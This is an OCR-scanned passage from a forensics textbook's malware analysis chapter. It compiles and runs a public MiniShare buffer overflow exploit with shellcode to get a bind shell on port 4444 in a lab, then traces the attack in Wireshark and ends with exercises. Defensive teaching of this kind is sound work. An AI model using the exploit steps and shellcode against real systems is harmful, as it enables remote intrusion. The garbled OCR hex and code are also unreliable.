\X9E\XE3\x77” to #define RET “\x53\x93\x42\x7E” as shown in Fig. 18.14. This
is the return address 7E429353, but in the little endian order of X86.

e From the Bash shell or any other shell, run the command “gcc mini.c —o mini” to
compile the shellcode.

» Execute the compiled shellcode file “./mini 192.168.1.30” as shown in Fig. 18.15.
After gaining remote access, you can execute what commands you like in our
case we run “dir” and “ipconFig” commands as shown in Figs. 18.15 and 18.16,
respectively.

Fig. 18.14 Modified return #include <stdio.h>

address #include <stdlib.h>
#include <string.h>
Zinclude <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
#include <netinet/in.h>
Zinclude <fentl.h>

Zdefine PORT 80

1 1444

|=deﬁne RET "\x53\x93\x42\x7€"|

char shellcode[]=

"\xd9\xee\xd9\x74\ x24\ xf4\x5b\x31\xc9\xb1l\x5e\x81
"\x2Ff\xfd\x83\ xeb\xfc\xe2\xf4\xc8\xe2\x79\ xfd\x34
"\x5d\xad4\x91\x10\x12\ xa4\xb8\x08\x81\x7b\xf8\ xdc
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File Edit View Search Terminal Help
[root@SaLinux Desktop]# ./mini 192.168.1.30

=**MiniShare remote buffer overflow UNIX exploit by NoPhOBiA.***

[x] Connected to: 192.168.1.30 on port 86080.

[x] Sending bad code. .done.

[x] Trying to connect to: 192.168.1.30 on port 4444..
[x] Gwn3d!

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\MiniShare>dir
dir

Volume in drive C is Winxp

Volume Serial Number is 488A-6FCA

Directory of C:\Program Files\MiniShare
2013-05-28 03:38 <DIR>

2013-05-28 03:38 <DIR> -
2M11-A7-14 A1-AR <NTR> dars

Fig. 18.15 Execution of the exploit and “dir” command

Fig. 18.16 “ipconfig”
command running on the
victim’s computer from the
remote attacker’s computer Windows IP Configuration

C:\Program Files\MiniShare>ipconfig
ipconfig

Ethernet adapter Wireless Network Connection:

Connection-specific DNS Suffix . : LTE-MIFI

IP Address. . . . . . . . . . .. : 192.168.1.30
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1

Ethernet adapter VirtualBox Host-Only Network:
Connection-specific DNS Suffix
IP Address. . . . . . . . . . . . : 192.168.56.1
Subnet Mask . . . . . . . . . . . 1 255.255.255.0
Default Gateway . . . . . . . . . :
Ethernet adapter Bluetooth Network:
Media State . . . . . . . . . . . : Media disconnected
Ethernet adapter Local Area Connection 2:

Media State . . . . . . . . . . . : Media disconnected

C:\Program Files\MiniShare>]|
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After running these commands from the attacker’s computer, you will need to
stop Wireshark from capturing the traffic at the victim’s computer and save the
captured packet in a file for later analysis by the forensic investigator.

Let’s assume that you, as a forensic investigator, have no information about the
victim and attacker’s computers, but the internal network. You are only provided
with one file containing captured data to analyze.

18.4.2.3 Forensic Investigator

Let’s open the packet capture file in Wireshark in order to analyze it and see if there
is something in the traffic is suspicious.

Analysis: Protocol Statistics

We will take a high-level look at the most protocols in use within this packet capture
file. Using “Protocol Hierarchy” from “Statistics” menu in Wireshark allows us to
see that 5.19% of the traffic in this packet capture is Address Resolution Protocol
(ARP) with four packets. On the other hand, 94.78% is Internet Protocol with
81 packets. Other protocols with its proportions can be seen in Fig. 18.17.

When analyzing the traffic for suspicious packets, it is a good practice to take a
look at each packet for all protocols and don’t underestimate the small packets or
types of protocols. This is because malicious software can use small packets over
some unsuspicious protocols such as DNS, ICMP or even HTTP for its payloads in
order to avoid IDS and firewalls. For example, DNS can be used in DNS tunneling
for covert tunnels as well as ICMP can be used in a bind shell. Therefore, we will go

. ; [ =
= Ethernet ” 100,00 % 17183 0.010 [ o 0,000
Address Reschution Protocol N s65% 4 o®@% 1630000 4 168 0.000

S Internet Protocol Yersion 4 71} 99.02 % 17015 0.010 [ o 0,000

= User Datagram Protocel B om% 6 ERTE £376 0.004 0 o 0.000
Dsta U s5%= <« @ 5272 0003 4 se72 0,003

INtBIOS Name Service .| 15.58 % 1§ 6AZ % 1104 0.001 12 104 0001

= Transmission Control Protocel st DNETEETR 9919 0.006 3 407 0003

= Hypestext Transfer Protocol I 3% s} T73% 1328 0.001 2 s 0.000
Une-based text data [ 5% 1] L 742 0.000 1 oMz 0.0

Secure Sockets Layer ] 390% ] | 7.08% 1216 0.001 31216 0.001

Data B =% iz 5% 2668 0.002 12 268 0.002

Inkernet Control Messags Protocl | I 7.7 % e 5% 720 0.000 6 720 0.000

Fig. 18.17 Wireshark’s “Protocol Hierarchy”
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- 32413900 Longch -168.1.357 .168.1.
60 10. 7953250 Longchee_8! Gaﬂte&Te 59 ARP 42 who has 192.168.1.307 Tell 192.168.1.1
61 10. 7953440 GemtekTe_59:42:4F Longchee_67:fa:26 ARP 42 192.168.1.30 15 at 00:21:00:59:42:4F
8 2.05041900192.168.1.35 192.168.1.30 HTTP 507 GET / HTTR/1.1
22 3.83942500192.168.1.30 192.168.1.35 HTTP 742 HTTP/L.1 200 oK (text/html)

44 8.87368800192.168.1.35 192.168.1.30 HTTP 79 GET A

Fig. 18.18 Our packet capture’s “Protocol List” arranged based on protocols

8 2.05041900192.168.1.35 192.168.1.30 HTTP 507 GET / HTTP/1.1
22 3.83942500192.168.1.30 192.168.1.35 742 HTTP/1.1 200 O (text/html)
44 B. 8?36330'0192 168.1. 35 -

100:2 : 9:42:4
nternet [1nternet_protocol version 4 Ver‘s1on (192 168 1. 3':)
m‘l

» L (58554),

H'I'\'
HOST: 102.168.1.30:8080
[(EEr-Agent:) Moz1113/5.0 (dl; u; en-us; rvil.9.2.10) Gecko/20101005 [Fedora/3.6.10-1.7c1) [Firefox/3.6. 1k

accept: text/huml, application/xhtml+xm appﬁcatwn/xm'l q=0.9, */*;q=0. 8\r\n
Accept-Language: en-us,en;g=0.5%r\n

accepr-gncoding: gzip, deflatelriyn

Accept-Charset: I150-8859-1,utf-8;q=0.7,%; g=0.7\r'\n

Keep-alive: 115%r\n

connection: keep-alive\ryn

Fig. 18.19 The Packet details pane in Wireshark shows additional information about frame #8

back to Wireshark and click on “Protocol” field in ‘“Packet List” pane to view the
packet capture according to the protocols used as shown in Fig. 18.18.

When you click on frame #1 in the Packet List pane, Wireshark shows additional
information about this frame in the Packet Details pane and in the Packet Bytes pane.
While we analyzed the ARP frames, they seemed to be unsuspicious frames and did
not have abnormal activities. However, HTTP and TCP were the most interesting to
us among the other protocols in this packet capture file. On the one hand, HTTP in
the frames #8, #22 and #44 shows that some traffic was originated from
192.168.1.35 and some HTTP responses were from 192.168.1.30 over the port
8080. On the other hand, TCP shows that there are several frames, which have
many TCP connections originated from 192.168.1.30 over the port 4444. In the
following subsection, we further investigate these two protocols.

HTTP Analysis

Let’s take a closer look at the HTTP frames. Frame #8 in the Packet Details pane
shows that an HTTP request using the GET method has been originated from
192.168.1.35 to the host at 192.168.1.30 as shown in Fig. 18.19.

The “Hypertext Transfer Protocol” section of frame #8 contains many HTTP
headers such as Host and User-Agent headers. We can see that the Host header
shows 192.168.1.30:8080 as a TCP socket while the User-Agent header contains
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# [Expert Info (Chat/Sequence): HTTP/1l.1 200 ok\ri\n]
Request version: HTTR/L.1
Status Code: 200

CONTENT-Type: Text/hTmiyryn
v
[MTTP response 1/1]
[Time since request: 1.78%006000 seconds]
[Request in frame: 8]
Line-based text data: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4,Toose. dud">\r\n
<htm1>r\n
<head>\r\n
<link rel="stylesheet” href="/minishare.css” type="text/css">\r\n
<titlexMinishare</titlex\r\n
</head=Yr\n
<body>\n
ch].).f(ou have reached my Minishare sefver]rﬂﬂ.:-\r\n
A\rhn
<p>Here’s the Tist of my shared files:</p>\ri\n
<p><table class="filelist">\r\n
<tr><td class="filename"><a href="/sms.Txt">sms. txvt</a></td><td Class«"filedate">Fri, 28 Jun 2003 13:09:40</td><td ¢
<trer<td class="filename"><a href="/phpes2. zip">phpeB2. zip</ar</td><td class="filedate">Fri, 28 (null) 0 13:09:40¢/td
<trr<td class="toral” colspan="2">Total: 2 files</tdr<td class="toralsize™>168 bytes< /td></tr>\r\n
</tablex\r\n
<hr><p class="versioninfo"><a hreF-“h\:tp:/fminishare,sourceforge,nez/"</I> [T 293,168,130 port 8080
</body></html>

Fig. 18.20 The Packet Details pane in Wireshark shows additional information about the HTTP
response of frame #22

information about a remote client. It appears that the client runs Fedora and uses
Firefox.

The Packet Details pane of frame #22 shows that the status code of the HTTP
request in frame #8 is successful, that is, 200 OK. It also shows additional informa-
tion about the HTML payload in the HTTP response message, specifically in the
“Line-based text data” section as shown in Fig. 18.20. The “Line-based text data”
section shows that the data type is “text/html” and shows some phrases such as “You
have reached my MiniShare server”, “MiniShare 1.4.1” and “at 192.168.1.30 port
8080”. These phrases were helpful to our forensic investigations in order to identify
and track malware on the network. Before going any further and searching the web
for the aforementioned phrases, let’s look at frame #44.

The Packet Details pane of frame #44 shows some interesting information about
HTTP traffic. Before digging deep into frames and HTTP messages, let’s revise what
a typical HTTP GET request looks like and for the sake of clarification I will ignore
irrelevant headers. Usually, when you type a URL in your address bar, your browser
sends an HTTP request and it contains several headers such as Method, Host, User-
Agent and so on. The Method and Host headers are of interest in studying frame #44.
For instance, when you type http://www.w3schools.com/sql/default.asp, your
browser sends various headers as shown in Fig. 18.21 and GET and Host headers
look like:

* GET /sql/default.asp HTTP/1.1\r\n.
e Host: www.w3schools.com\r\n.


http://www.w3schools.com/sql/default.asp
http://www.w3schools.com/r/n
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13 0.94821800192.168.0.14 72.21.91.8 HTTP 471 GET /sql/default.asp HTTP/1.1
27 0.9995230072.21.91.8 192.168.0.14 HTTP 530 HTTR/1.1 200 ok (rext/html)
|

#® Frame 13: 471 bytes on wire (3768 bits), 471 bytes captured (3768 bits) on interface O

#® Ethernet II, Src: GemtekTe_59:42:4f (00:21:00:59:42:4f), Dst: HitronTe_40:1b:f2 (00:fc:8d:40:1b:f2)
#® Internet Protocol version 4, Src: 192.168.0.14 (192.168.0.14), Dst: 72.21.91.8 (72.21.91.8)

# Transmission Control Protocel, Src Port: 3786 (3786), Dst Port: 80 (80D, Seq: 1, Ack: 1, Len: 417
[E Hypertext Transter Protoco

gl/default. asp HTTR/L.1\r\n]

[severity lavel:
[Group: Sequence]
Regquest Method: GET
Reguest URL: /sql/default.asp
neuest version: HTTP/!I. 1
i Windows NT 5.1; rvid7.0) Gecko/20100101 Firefox/47.0\r\n
ACCept: text,r‘hmn‘l app'licaﬂon/xhtm'hm‘i applicarion/sml; qu0. 9, “/%; qa0. 8\rin
ACCEpT-Language: en-us,en;ge0. S\r\n
accept-Encoding: gzip, deflatevrn

Fig. 18.21 Example of an HTTP request

8 2.05041900192.168.1.35 162.168.1.30 HTTP 507 GET / HTTR/1.1
22 3.83042500192.168.1.30 102.168.1.35 HTTP 742 HTTP/1.1 200 oK (text/html)
|44 8. B7368800192.168.1.35 192.168.1.30 HTTP 79 GET MMMMMMAMMMMMA{

@ Frame 44: 79 bytes on wire (632 bits), 79 bytes captured (632 bits) on interface 0

® Ethernet II, Src: CadmusCo_7e:29:94 (08:00:27:7e:29:94), Dst: GemtekTe_59:42:4f (00:21:00:59:42:4F)

@ Internet Protocol Version 4, Src: 192.168.1.35 (192.168.1.35), Dst: 192.168.1.30 (192.168.1.30)

& Transm‘issiuﬂ control Protoco'l Src Port: 58555 Dst Port: 8080 (BOBO), seq: 2225, Ack: 1, Len: :

Re assmb'ied TCP_Segment 223? bytes]: [#39(4), #40(1448), #42(772), #44(13)]]

[Frame: 39, payload: 0-3 ¢

e: 40, payload: 4-1451 144.& bytes)
chane 42, payload: 1452-2223 (772 bytes)]

[Frame: 44, payload: 2224-2236 (13 bytes)]

[segment count: 4]

[Reassmb]ed TCP length: 2237]
74554204141414141414141414141414141414141414141. . . ]

| 0000 1 41 41 43

Fig. 18.22 A bizarre HTTP request containing suspicious frames

As we see in Fig. 18.22, frame #44 involves a bizarre HTTP request. It is an
unusually high volume of an HTTP GET request exceeding 2200 bytes. Moreover,
the Packet Details pane shows that there are four reassembled TCP segments and the
details of the reassembled TCP segments are in frame #39, #40, #42, and #44.
Additionally, in order to extract what is inside each frame without leaving the
“Reassembled TCP Segments” section, click on each frame in the Packet Details
pane like what I did to expand frame #39 in Fig. 18.22. Doing so allows you to view
the frame payload in the Packet Bytes pane, and you see the frame payload was GET
followed by a space.

The frame #40 payload has significant information about the HTTP GET request.
This frame contains 1448 bytes of data over TCP and all of them are a chunk of A’s.
Usually, an overly long payload of A’s or any text signifies a buffer overflow attack
attempt. Of course, since frame #40 has only the overly long text of A’s, it could be
potentially harmful signs of attacks targeting your system. Now, let’s dig deep into
frame #42 in order to get further information. We can see that frame #42 contains
only 772 bytes of A’s, B’s and some meaningless characters. These meaningless
characters were the sparks of suspicion and might be shellcode inside the packets as
shown in Fig. 18.23.
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Frame: 42, payload: 1452-2223 (772 bytes)|
[Frame: 44, payload: 2224-2236 (13 bytes)]

: 5 IGHDY
08b0 4~ 5¢ 1 HTTR/1. 1.

Fig. 18.23 Signs of Shellcode

The characters that start at offset 0x0721 and end at offset 0xO8BF might be
shellcode. However, in order to verify the suspicious code whether being shellcode
or not, you might need to save it and then convert it using a tool. For example,
ConvertShellcode converts shellcode into corresponding x86 assembly instructions
as shown in Fig. 18.24. Now, we are certain that a piece of code converted by the
aforementioned tool has a something harm against Minishare. We immediately
searching the web for the phrases found in frame #22, namely, Minishare 1.4.1.
As aresult, we found that Minishare was vulnerable to a buffer overflow allowing an
attacker to remotely execute commands.

TCP Analysis

Clearly, the aforementioned frames in the previous section contained malicious
shellcode allowing a remote computer to execute commands on the victim’s system.
In this section, we investigate TCP traffic in order to analyse what malicious
commands executed are, if so. We can see that 27 frames from frame #51 through
#77 were over TCP between 192.168.1.35 and 192.168.1.30 as shown in Fig. 18.25.
Additionally, we can see that the TCP traffic was established between two TCP
ports, namely, port 34,957 on the attacker’s computer and port 4444 on the victim’s
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= D|jﬂ
.\)ConvertShellcode exe \x5e\xsi\x?a\xi?\x34\x0a\x2£\x£d\xSS\xeh\xfc\xe2\xf4\xc
saxe28x 795 xf dAix 34N xBasx e\ xaB \x6 25\ x5 d ka4 \ x91 \x108%x1 25\ xa4 \xh8 \xB8\x81 \x?h\xf 8 x4
NxBbNxe 5\ x 76 \x e \x1 2 \xad \xa? \x1l 4\ xBb \xc4 \x1le \xB6 x43 xad \xc I \xbf “xBb\xcl\xcc\xc
Soxf 6hxlesx3dix?85\x3 2 \xe £ \xB P %33\ xchuxe B xf B x35 \xcd \xc 4 \xBEf \xBf \x?76 \xBb \xe x4
Axebhxadixa?\x10\xBh xc 4\ xTh\xbf \xB6\xb 4\x 76 \x6 e \x16 \x2e \x16 xbf “xBe \xad\xf c\xd
saxelsx2dixe o \xf 45Nx55\x 71\ xaB k6 £ \xc 8 \x2 P xf dhxbasx6 B L £\ xad x50 \x81\x36\x?6 \x6
\xB6 \xad\xab \x28 \xB1\xI4\x76 \x6 £ \xB2\x7c\x 95 \xba \x44\x21 \x11 \xch \xdc\xab \x3a\xh
Sxe6M\x2f \xf e \x34\xBa\x 78 \xab \x6 7 \xB 3 \xcarx155x1 3\ xBa x2f \xf d\xad \xBb \x2f \xfd\x8
Sl INxI PNkl anx PNk 3k F xl Ahaed 1 x4 3 \xa P xh 70 x1 Bx5F \x3a x 9B\ xa P\ xB1\x14\xe
SxB3N\xdas xS BNxf £ ixe Paxd 3N xe 6563\ x5 P L A xa2 \xB 7\ x38 %2 \xab \xbh P \x41\xBf \xac\xc
Saedd s xab x 225 xchd ke P a2 B8\ 20 x6 B %28 xad x65 x5 xd@ xc I xbh xf 5 x?a xF 9 xb
Mx83\x2hN\x?3\xd b6 \xf B kB4 \xdarx6B\xf 5 x18 \xB2 \x61 \xJa xle \x3d\x64 \x5arx?f \xad\x?
xSanxb £ \xad \xe NS £ \xB3\xP4\xf I\xIb\xf P \xae\x6 762 \x2d \xf d\x25°x56 \xab\x1d\x5
Saxlasx?f \xaasxe b\ x5 £\ xBbixae k6 3\ x5 xPar xd5 \x6 7 \x5e 78\ xB2 \x61 \x2a \xab \x3a\x5
Sx4Nx625xbI %34\ xB I\ xc e xParxce \x3bixe F \x 7B\ x48 x2e %8I x99 P \x21 x5 3\ xdc \x56\xhb
Soof Bhxac 116 B xec \xb b \xd I 24 \xde x4\ x3a \x 7B x2e x1 3 \xf c k35 xB 3 53\ xd ? =7
Sx83INx5 3 xdINx?8\xBI\x5 3 xd P k6 4 B K6 b xd P\ x24 x5 e \x?f \xac \x65 \x5b\xbe \xac\x?
N5 b e xae b5 xf S xS arxf dNxS e k78 \xd1\xde k22 \xf 5 x7a\xf P \xech xdasxab \xibi\xc
S PE N2 N1 P59\ xd 3\ x2a k3 3 ke hA xS £ A2 x P4 xf PNx6 Brxd BN x B2\ xB2\x f 5 \xf e \xB2\x4
sxBasxd P xBd xhe\xBe 7B B2 x6 1 xBe x1e %26 xb P xF 5 xf F xfd

onvertShellcode 3.8

opyright <(C)> 2809-2015 Alain Rioux (le-tools.com). All rights reserved.
his srogran is free software: you can redistribute it and/or modify

it under the terms of the GNU General Public License as published by

he Free Software Foundation, either version 3 of the License, or
Cat your option) any later version.

his program is distributed in the hope that it will be useful,
t WITHOUT ANY WARRANIY; without even the lied warranty of
RCHﬂNIﬂBILITY or FITNESS FOR A PﬁRTICULnR RPOSE. See the
U General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <(http://uwu.gnu.org-/licenses/>.

Assembly language source code :

B00APAB pop esi

BO0APAL xor dwordlebx+8x171,Bxfd2fPa34
PAABAR8 sub ebx,BxFFFEFFfc

BEBBERL  loop Bxl

PARAPAd enter Bx7%e2.Bxfd

B0BBP11 xor al,Bxa

BRARB13 il BxFFFFFFhd

Fig. 18.24 A proof of concept of being Shellcode

No.  Time Source Destination Protocol ~ Lergth Info

U Y. IZI/PAUU LOE. LI SE. LEY TP J4 443=A0UU LALK] SEY=33D ALKESS/ Wili=3ULic
51 9.71054800192.168.1 35

-4
TCP 105 4444-34957
TCP 66 34957-4444
TCP 68 4444-34957
TCP 66 340574444
TCP 136 4444-340957
TCP 66 34957-4444
TCP 70 349574444
TCP 70 4444-34957
TCP 65 34957-4444
TCP 95 4444-34957
66 34957-4444

[PSH, ACK] Seqel Ack=l wineli
[AcK] Seqe=l Ack=40 win=5888 L
[PsH, ACK] Seq=40 Acks=l win=l
[ack] seqel Ack=42 wWin=5888 L
[PSH, ACK] Seqed2 Ackel wins=1
[AcK] Seqel Ack=112 Win=5888
[PSH, ACK] Seq=l Ack=112 wins
[PSH, ACK] Seq=112 Ack=5 wins
[ack] seqe=5 Ack=118 win=5888
[PsH, ACK] Seqe=116 Ack=5 wins
[AcK] Seqe=5 Ack=145 Win=5888

54 9.87615700192.168.1.30
55 9.87640200192.168.1.35
56 9.87700600192.168.1.30
57 9.87713600192.168.1.35
58 9.87714600192.168.1. 30
59 9.87732600192.168.1.35
52 11.2638970192.168.1.35
83 11.2840650192.168.1.30
64 11.2659070192.168.1. 35
65 11.2667980 192.168.1. 30
66 11.2770120192.168.1.35

“a

Source Por 34957 (34057)
pestination Port: 4444 (4444)

Fig. 18.25 TCP analysis
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192.168.1.30 TCP 66 34957444
74 13.3619500192.168.1. 30 192.168.1.35 TCP 68 4444-3405
75 13.3622980192.168.1.35 192.168.1.30 TCP 66 34957-444

|

= Frame 72: B77 bytes on wire (7016 bits), 877 bytes captured (7016 bits) on interface
Interface id: 0 (\pevice\MPF_{2FUDSEES-295E-483F-AB44-C60DBT73581F8})
Encapsulation type: Ethernet (1)
Arrival Time: Jul 10, 2016 01:07:25.035018000 Eastern Daylight Time
[Time shift for this packet: 0.000000000 seconds]

0070 64 61 70 74 65 72 20 57 69 72 65 6¢C 65 73 73 20 | dapter w ireless

0080 4e 65 74 77 &6F 72 6b 20 43 6f 6e 6e 65 63 74 69 | nNetwork Connecti
0080 6f 6e 3a O0d Od 0a 0d 0d 0a 20 20 20 20 20 20 20| on:.....

00a0 20 43 6F 6e 6e 65 63 74 69 6f 6e 2d 73 70 65 63 connect ‘ion-spec
00b0 69 66 69 63 20 44 d4e 53 20 53 75 66 66 69 78 20 | ific pns sSuffix

00cO 20 2e 20 3a 20 4¢ 54 45 2d 4d 49 46 49 0d Od Oa . i LTE =MIFI.
00d0 20 20 20 20 20 20 20 20 49 50 20 41 64 64 72 65 IP Addre
00e0 73 73 2e 20 2e 20 2e 20 2e 20 2e 20 2e 20 2e 20| ss. . . .
00F0 2e 20 2e 20 2e 20 2e 20 2e 20 3a 20 31 39 32 2e : 102,
0100 31 36 38 2e 31 2e 33 30 0d od 0a 20 20 20 20 20 | 168.1.30 .

0110 20 20 20 53 75 62 6e 65 74 20 4d 61 73 6b 20 2e Subne t Mask .
0120 20 2e 20 2e 20 2e 20 2e 20 2e 20 2e 20 2e 20 2e [

0130 20 2e 20 2e 20 3a 20 32 35 35 2e 32 35 35 2e 32 ..t 2 55.255.2
0140 35 35 2e 30 0d 0d 0a 20 20 20 20 20 20 20 20 44 55.0... D

Fig. 18.26 Evidence for ipconfig command

computer running Minishare. Let’s explore some frames one at a time. Frame #54
shows interesting bytes as you can see that in the “Packet Bytes” pane. You can see
in the “Packet Bytes” pane a text, e.g., “Microsoft Windows XP [Version
5.1.2600]”, which is a banner of MS command shell. This banner is unusual over
a TCP socket, but we can infer that the shellcode generated a remote bind command
shell over TCP 4444. While frames #62, #63, #65 and #67 show that the attacker has
executed “dir” command on the victim’s computer, frames #70 through #72 show
“ipconfig” as an executed command and the responses from the victim confirm the
type of the executed command as shown in Fig. 18.26.

18.4.3 Concluding Remarks

Malware is any software or code that can be used to harm (1) a user by stealing
sensitive information (2) a computer by executing unwanted commands or
downloading or uploading other malware software (3) a network by propagating
malware or launching other attacks against external networks. On the other hand,
malware analysis can be used to analyse malware and identify its malicious behav-
iours and track its traffic on the network. We used various tools and techniques to
show you different approaches in order to obtain significant information about
malware depending on your skills and goals. We have also given a case study that
involve using different tools for static and dynamic analysis and for observing
malware’s network activity.
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Review Questions

1. Describe in your own words, what is malware analysis?
2. Describe in your own words, what is shellcode?
3. Describe in your own words, what is buffer overflow?

18.5 Practice Exercise

The purpose of this exercise is to give you an opportunity to practice the skills taught
in the chapter as well as simple techniques and tools for quickly analyzing ordinary
malware. You are given some binary (or captured network traffic) and text files and
asked for answering a few questions related to these files. Some answers might be
short and others might require a detailed analysis. Additionally, you are free to use
other tools than we described in this chapter.

In the zipped file which contains all the data files used in the book, you will find a
ch18 subfolder that contains all the files for this exercise. Make sure you copy and
paste these files into a particular folder on your hard disk.

Part A: Using Wireshark to Analyse Network Traffic

This part uses the file network-extract-image.pcap in Q-wireshark subfolder. Use
Wireshark as described in the chapter to gain information about the file and answer
the questions below.

Questions

Q1. When were the packets captured?

Q2. How many packets or frames in the file?

Q3. What protocols are used in the file? How many packets are for each protocol?

Q4. What IP addresses are involved?

Q5. Reassemble an HTTP stream in frame #14 in order to extract a JPEG
image file.

Part B: Using ConvertShellCode and Dependency Walker to Analyse Shellcode

This part uses the file lab1-2.txt and kernel32.dll in Q-ConvertShellCode subfolder.
The text file contains shellcode extracted by an IDS. Use ConvertShellCode as
described in the chapter to gain information about the file and answer the questions
below.

Questions

Q6. How many bytes in the shellcode are?

Q7. How many assembly instructions converted by ConvertShellCode are?
Q8. What is the base address of kernel32.d11?

Q9. Describe how to determine the two functions in the shellcode?
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